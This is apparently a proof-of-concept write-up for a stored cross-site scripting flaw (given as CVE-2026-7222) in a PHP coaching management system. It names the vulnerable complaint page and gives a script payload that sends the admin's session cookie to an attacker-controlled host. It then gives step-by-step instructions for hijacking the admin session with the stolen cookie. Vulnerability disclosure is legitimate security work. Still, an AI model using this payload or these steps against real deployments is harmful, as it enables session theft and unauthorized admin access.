xmyronn/cve-2026-7222-xssProof-of-concept exploit for stored XSS (CWE-79) in a PHP coaching management system, demonstrating session hijacking and privilege escalation from student to admin via cookie theft.
Coaching Management System in PHP (Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/
Unknown (No version information provided by the vendor; tested on the latest available version from Code-Projects.org as of April 2026)
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting)
The application fails to properly sanitize user-supplied input in the complaint and reply functionality. Malicious JavaScript injected by a low-privileged user is stored and executed when viewed by higher-privileged users such as administrators or teachers.
Additionally, the reply functionality is also vulnerable, allowing administrators or teachers to inject JavaScript that executes in student sessions.
This results in stored XSS vulnerability affecting multiple user roles.
Login as Student
Navigate to:
/modules/student/complaint.php
Submit a complaint with the following payload:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
Login as Admin
Navigate to:
/modules/admin/incomingcomplaint.php
When the admin views the complaint, the payload executes automatically
The admin session cookie is sent to the attacker-controlled server
Use the stolen session cookie to hijack the admin session
Severity: CRITICAL